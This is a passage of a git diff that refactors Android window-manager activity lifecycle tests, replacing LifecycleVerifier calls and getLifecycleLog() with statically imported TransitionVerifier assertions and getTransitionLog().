         waitForActivityTransitions(SingleTopActivity.class, expectedRelaunchSequence);
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
-                expectedRelaunchSequence, "recreate");
+        assertSequence(SingleTopActivity.class, getTransitionLog(), expectedRelaunchSequence,
+                "recreate");
     }
 
     @Test
@@ -783,17 +790,17 @@
         // Launch a singleTop activity
         launchActivityAndWait(SingleTopActivity.class);
 
-        LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+        assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
 
         // Try to launch again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
                 .setNoInstance()
                 .launch();
 
         // Verify that the first activity was paused, new intent was delivered and resumed again
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
+        assertSequence(SingleTopActivity.class, getTransitionLog(),
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_NEW_INTENT, ON_RESUME,
                         ON_TOP_POSITION_GAINED), "newIntent");
     }
@@ -802,7 +809,7 @@
     public void testOnNewIntentFromHidden() throws Exception {
         // Launch a singleTop activity
         final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
-        LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+        assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
 
         // Launch something on top
         final Activity secondActivity = new Launcher(SecondActivity.class)
@@ -813,7 +820,7 @@
         waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
 
         // Try to launch again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
                 .setNoInstance()
@@ -827,15 +834,14 @@
             expectedSequence = Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME,
                     ON_TOP_POSITION_GAINED);
         }
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
-                expectedSequence, "newIntent");
+        assertSequence(SingleTopActivity.class, getTransitionLog(), expectedSequence, "newIntent");
     }
 
     @Test
     public void testOnNewIntentFromPaused() throws Exception {
         // Launch a singleTop activity
         final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
-        LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+        assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
 
         // Launch translucent activity, which will make the first one paused.
         launchActivityAndWait(TranslucentActivity.class);
@@ -844,7 +850,7 @@
         waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
 
         // Try to launch again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
                 .setNoInstance()
@@ -855,8 +861,7 @@
         final List<String> expectedSequence =
                 Arrays.asList(ON_NEW_INTENT, ON_RESUME, ON_TOP_POSITION_GAINED);
         waitForActivityTransitions(SingleTopActivity.class, expectedSequence);
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
-                expectedSequence, "newIntent");
+        assertSequence(SingleTopActivity.class, getTransitionLog(), expectedSequence, "newIntent");
     }
 
     @Test
@@ -955,8 +960,7 @@
         // Launch an activity on top, which will make the first one paused or stopped.
         launchActivityAndWait(launchOnTopClass);
 
-        final List<String> expectedSequence =
-                LifecycleVerifier.getLaunchAndDestroySequence(activityClass);
+        final List<String> expectedSequence = getLaunchAndDestroySequence(activityClass);
         waitAndAssertActivityTransitions(activityClass, expectedSequence, "finish in " + stageName);
     }
 
@@ -966,13 +970,13 @@
 
         launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
         waitAndAssertActivityStates(state(bottomActivity, ON_PAUSE));
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         waitForIdle();
         bottomActivity.finish();
         waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
-        LifecycleVerifier.assertEmptySequence(TranslucentCallbackTrackingActivity.class,
-                getLifecycleLog(), "finishBelow");
+        assertEmptySequence(TranslucentCallbackTrackingActivity.class,
+                getTransitionLog(), "finishBelow");
     }
 
     @Test
@@ -981,13 +985,12 @@
 
         launchActivityAndWait(FirstActivity.class);
         waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         waitForIdle();
         bottomActivity.finish();
         waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
-        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
-                "finishBelow");
+        assertEmptySequence(FirstActivity.class, getTransitionLog(), "finishBelow");
     }
 
     @Test
@@ -1012,7 +1015,7 @@
         waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
 
         // Verify the result have been sent back to original activity
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+        assertTransitionObserved(getTransitionLog(),
                 transition(SingleTopActivity.class, ON_ACTIVITY_RESULT),"activityResult");
     }
 
@@ -1022,11 +1025,11 @@
                 .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
                 .launch();
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         launchActivityAndWait(SecondActivity.class);
         waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
 
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+        assertTransitionObserved(getTransitionLog(),
                 transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
     }
 
@@ -1036,13 +1039,13 @@
                 .setExtraFlags(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT)
                 .launch();
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK)
                 .launch();
         waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
 
-        LifecycleVerifier.assertTransitionNotObserved(getLifecycleLog(),
+        assertTransitionNotObserved(getTransitionLog(),
                 transition(FirstActivity.class, ON_USER_LEAVE_HINT),"userLeaveHint");
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index fffce55..9d9fd6a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -39,7 +39,20 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertStopToResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertStopToResumeSubSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.getLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.getRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -63,6 +76,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
 /**
@@ -85,31 +99,30 @@
     public void testTopPositionAfterLaunch() throws Exception {
         launchActivityAndWait(CallbackTrackingActivity.class);
 
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog());
     }
 
     @Test
     public void testTopPositionLostOnFinish() throws Exception {
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         activity.finish();
         mWmState.waitForActivityRemoved(getComponentName(CallbackTrackingActivity.class));
 
-        LifecycleVerifier.assertResumeToDestroySequence(CallbackTrackingActivity.class,
-                getLifecycleLog());
+        assertResumeToDestroySequence(CallbackTrackingActivity.class, getTransitionLog());
     }
 
     @Test
     public void testTopPositionSwitchToActivityOnTop() throws Exception {
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
-        final Activity topActivity = launchActivityAndWait(SingleTopActivity.class);
+        getTransitionLog().clear();
+        launchActivityAndWait(SingleTopActivity.class);
         waitAndAssertActivityStates(state(activity, ON_STOP));
 
-        LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class,
-                CallbackTrackingActivity.class, getLifecycleLog(),
+        assertLaunchSequence(SingleTopActivity.class,
+                CallbackTrackingActivity.class, getTransitionLog(),
                 false /* launchingIsTranslucent */);
     }
 
@@ -125,7 +138,7 @@
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED));
 
         // Launch second activity on top
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
         launchActivity(new ComponentName(firstActivity, secondActivityClass));
@@ -133,7 +146,7 @@
         // Wait and assert top position switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(firstActivity, ON_STOP));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(firstActivity.getClass(), ON_TOP_POSITION_LOST),
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
                 "launchOnTop");
@@ -152,7 +165,7 @@
         final Class<? extends Activity> firstActivityClass = firstActivity.getClass();
 
         // Launch second activity on top
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
         launchActivity(new ComponentName(firstActivity, secondActivityClass));
@@ -160,18 +173,18 @@
         // Wait and assert top position switch,
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(firstActivity, ON_STOP));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED),
                 transition(firstActivityClass, ON_TOP_POSITION_LOST)),
                 "launchOnTop");
 
         // Wait 5 seconds more to make sure that no new messages received after top resumed state
         // released by the slow activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         Thread.sleep(5000);
-        LifecycleVerifier.assertEmptySequence(firstActivityClass, getLifecycleLog(),
+        assertEmptySequence(firstActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
-        LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+        assertEmptySequence(secondActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
     }
 
@@ -179,13 +192,12 @@
     public void testTopPositionSwitchToTranslucentActivityOnTop() throws Exception {
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
-        final Activity topActivity = launchActivityAndWait(
-                TranslucentCallbackTrackingActivity.class);
+        getTransitionLog().clear();
+        launchActivityAndWait(TranslucentCallbackTrackingActivity.class);
         waitAndAssertActivityStates(state(activity, ON_PAUSE));
 
-        LifecycleVerifier.assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
-                CallbackTrackingActivity.class, getLifecycleLog(),
+        assertLaunchSequence(TranslucentCallbackTrackingActivity.class,
+                CallbackTrackingActivity.class, getTransitionLog(),
                 true /* launchingIsTranslucent */);
     }
 
@@ -193,7 +205,7 @@
     public void testTopPositionSwitchOnDoubleLaunch() throws Exception {
         final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(LaunchForResultActivity.class)
                 .setExpectedState(ON_STOP)
                 .setNoInstance()
@@ -206,7 +218,7 @@
         waitForActivityTransitions(ResultActivity.class, expectedTopActivitySequence);
 
         final List<Pair<String, String>> observedTransitions =
-                getLifecycleLog().getLog();
+                getTransitionLog().getLog();
         final List<Pair<String, String>> expectedTransitions = Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_PAUSE),
@@ -231,8 +243,8 @@
     public void testTopPositionSwitchOnDoubleLaunchAndTopFinish() throws Exception {
         final Activity baseActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
-        final Activity launchForResultActivity = new Launcher(LaunchForResultActivity.class)
+        getTransitionLog().clear();
+        new Launcher(LaunchForResultActivity.class)
                 .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME,
                         EXTRA_SKIP_TOP_RESUMED_STATE))
                 // Start the TranslucentResultActivity to avoid activity below stopped sometimes
@@ -251,7 +263,7 @@
                 ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
         waitForActivityTransitions(TranslucentResultActivity.class, expectedTopActivitySequence);
 
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_PAUSE),
                 transition(LaunchForResultActivity.class, ON_CREATE),
@@ -272,7 +284,7 @@
                 transition(TranslucentResultActivity.class, ON_STOP),
                 transition(TranslucentResultActivity.class, ON_DESTROY),
                 transition(CallbackTrackingActivity.class, ON_STOP)),
-                getLifecycleLog(), "Double launch sequence must match");
+                getTransitionLog(), "Double launch sequence must match");
     }
 
     @Test
@@ -303,13 +315,13 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
         // Second activity must be on top now
-        LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
+        assertLaunchSequence(SingleTopActivity.class, getTransitionLog());
     }
 
     @Test
@@ -326,14 +338,14 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Activity secondActivity = new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
         // Switch top between two activities
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getPrimarySplitTaskId());
         new Launcher(CallbackTrackingActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -342,13 +354,13 @@
 
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
                 state(secondActivity, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_TOP_POSITION_GAINED), "switchTop");
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_TOP_POSITION_LOST), "switchTop");
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_TOP_POSITION_GAINED), "switchTop");
+        assertSequence(SingleTopActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_TOP_POSITION_LOST), "switchTop");
 
         // Switch top again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
@@ -357,9 +369,9 @@
 
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
                 state(secondActivity, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_TOP_POSITION_LOST), "switchTop");
-        LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_TOP_POSITION_LOST), "switchTop");
+        assertSequence(SingleTopActivity.class, getTransitionLog(),
                 Arrays.asList(ON_PAUSE, ON_NEW_INTENT, ON_RESUME, ON_TOP_POSITION_GAINED),
                 "switchTop");
     }
@@ -370,7 +382,7 @@
         launchActivityAndWait(SingleTopActivity.class);
 
         // Launch the activity again to observe new intent
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK)
                 .setNoInstance()
@@ -392,7 +404,7 @@
         waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
 
         // Launch the single top activity again to observe new intent
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
                 .setNoInstance()
@@ -400,7 +412,7 @@
 
         waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
 
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_PAUSE),
                 transition(SingleTopActivity.class, ON_RESTART),
@@ -410,7 +422,7 @@
                 transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED),
                 transition(CallbackTrackingActivity.class, ON_STOP),
                 transition(CallbackTrackingActivity.class, ON_DESTROY)),
-                getLifecycleLog(), "Single top resolution sequence must match");
+                getTransitionLog(), "Single top resolution sequence must match");
     }
 
     @Test
@@ -424,7 +436,7 @@
         waitAndAssertActivityStates(state(singleTopActivity, ON_PAUSE));
 
         // Launch the single top activity again to observe new intent
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP)
                 .setNoInstance()
@@ -432,7 +444,7 @@
 
         waitAndAssertActivityStates(state(topActivity, ON_DESTROY));
 
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(TranslucentCallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(TranslucentCallbackTrackingActivity.class, ON_PAUSE),
                 transition(SingleTopActivity.class, ON_NEW_INTENT),
@@ -446,12 +458,11 @@
         final Activity topActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Press HOME and verify the lifecycle
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         pressHomeButton();
         waitAndAssertActivityStates(state(topActivity, ON_STOP));
 
-        LifecycleVerifier.assertResumeToStopSequence(CallbackTrackingActivity.class,
-                getLifecycleLog());
+        assertResumeToStopSequence(CallbackTrackingActivity.class, getTransitionLog());
     }
 
     @Test
@@ -468,37 +479,37 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Activity secondActivity = new Launcher(SingleTopActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
         // Tap on first activity to switch the focus
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
         tapOnTaskCenter(dockedTask);
 
         // Wait and assert focus switch
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_GAINED),
                 state(secondActivity, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(SingleTopActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
-                getLifecycleLog(), "Single top resolution sequence must match");
+                getTransitionLog(), "Single top resolution sequence must match");
 
         // Tap on second activity to switch the focus again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task sideTask = getRootTaskForLeafTaskId(secondActivity.getTaskId());
         tapOnTaskCenter(sideTask);
 
         // Wait and assert focus switch
         waitAndAssertActivityStates(state(firstActivity, ON_TOP_POSITION_LOST),
                 state(secondActivity, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+        assertEntireSequence(Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(SingleTopActivity.class, ON_TOP_POSITION_GAINED)),
-                getLifecycleLog(), "Single top resolution sequence must match");
+                getTransitionLog(), "Single top resolution sequence must match");
     }
 
     @Test
@@ -521,7 +532,7 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
@@ -538,27 +549,27 @@
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
 
         // Tap on first activity to switch the top resumed one
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task dockedTask = getRootTaskForLeafTaskId(firstActivity.getTaskId());
         tapOnTaskCenter(dockedTask);
 
         // Wait and assert top resumed position switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
                 state(firstActivityClass, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(firstActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnTask");
 
         // Tap on second activity to switch the top resumed activity again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task sideTask = mWmState.getTaskByActivity(secondActivityComponent);
         tapOnTaskCenter(sideTask);
 
         // Wait and assert top resumed position switch
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(firstActivityClass, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(firstActivityClass, ON_TOP_POSITION_LOST),
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnTask");
@@ -584,7 +595,7 @@
         moveTaskToPrimarySplitScreenAndVerify(slowActivity, sideActivity);
 
         // Launch second activity to side
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         final Class<? extends Activity> secondActivityClass =
                 SecondProcessCallbackTrackingActivity.class;
@@ -601,20 +612,20 @@
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
 
         // Tap on first activity to switch the top resumed one
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task dockedTask = getRootTaskForLeafTaskId(slowActivity.getTaskId());
         tapOnTaskCenter(dockedTask);
 
         // Wait and assert top resumed position switch.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
                 state(slowActivityClass, ON_TOP_POSITION_GAINED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_LOST),
                 transition(slowActivityClass, ON_TOP_POSITION_GAINED)),
                 "tapOnTask");
 
         // Tap on second activity to switch the top resumed activity again
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Task sideTask = mWmState
                 .getTaskByActivity(secondActivityComponent);
         tapOnTaskCenter(sideTask);
@@ -623,18 +634,18 @@
         // be reported to the first activity before second will finish handling it.
         waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
                 state(slowActivityClass, ON_TOP_POSITION_LOST));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+        assertOrder(getTransitionLog(), Arrays.asList(
                 transition(secondActivityClass, ON_TOP_POSITION_GAINED),
                 transition(slowActivityClass, ON_TOP_POSITION_LOST)),
                 "tapOnTask");
 
         // Wait 5 seconds more to make sure that no new messages received after top resumed state
         // released by the slow activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         Thread.sleep(5000);
-        LifecycleVerifier.assertEmptySequence(slowActivityClass, getLifecycleLog(),
+        assertEmptySequence(slowActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
-        LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+        assertEmptySequence(secondActivityClass, getTransitionLog(),
                 "topStateLossTimeout");
     }
 
@@ -642,11 +653,11 @@
     public void testTopPositionPreservedOnLocalRelaunch() throws Exception {
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         getInstrumentation().runOnMainSync(activity::recreate);
         waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
 
-        LifecycleVerifier.assertRelaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertRelaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 ON_TOP_POSITION_GAINED);
     }
 
@@ -661,23 +672,21 @@
                     .setExpectedState(ON_STOP)
                     .setNoInstance()
                     .launch();
-            LifecycleVerifier.assertLaunchAndStopSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog(), true /* onTop */);
+            assertLaunchAndStopSequence(CallbackTrackingActivity.class, getTransitionLog(),
+                    true /* onTop */);
 
-            getLifecycleLog().clear();
+            getTransitionLog().clear();
         }
 
         // Lock screen removed - activity should be on top now
         if (isCar()) {
-            LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog());
+            assertStopToResumeSubSequence(CallbackTrackingActivity.class, getTransitionLog());
             waitAndAssertActivityCurrentState(CallbackTrackingActivity.class,
                     ON_TOP_POSITION_GAINED);
         } else {
             waitAndAssertActivityStates(
                     state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
-            LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog());
+            assertStopToResumeSequence(CallbackTrackingActivity.class, getTransitionLog());
         }
     }
 
@@ -687,26 +696,26 @@
 
         final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
             waitAndAssertActivityStates(state(activity, ON_STOP));
-            LifecycleVerifier.assertResumeToStopSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog());
+            assertResumeToStopSequence(CallbackTrackingActivity.class,
+                    getTransitionLog());
 
-            getLifecycleLog().clear();
+            getTransitionLog().clear();
         }
 
         // Lock screen removed - activity should be on top now
         if (isCar()) {
-            LifecycleVerifier.assertStopToResumeSubSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog());
+            assertStopToResumeSubSequence(CallbackTrackingActivity.class,
+                    getTransitionLog());
             waitAndAssertActivityCurrentState(activity.getClass(), ON_TOP_POSITION_GAINED);
         } else {
             waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
-            LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
-                    getLifecycleLog());
+            assertStopToResumeSequence(CallbackTrackingActivity.class,
+                    getTransitionLog());
         }
     }
 
@@ -725,21 +734,21 @@
                                 .launch();
 
             // TODO(b/123432490): Fix extra pause/resume
-            LifecycleVerifier.assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
-                    getLifecycleLog(),
+            assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
+                    getTransitionLog(),
                     Arrays.asList(ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
                             ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE, ON_RESUME,
                             ON_TOP_POSITION_GAINED),
                     "launchAboveKeyguard");
 
-            getLifecycleLog().clear();
+            getTransitionLog().clear();
         }
 
         // When the lock screen is removed, the ShowWhenLocked activity will be dismissed using the
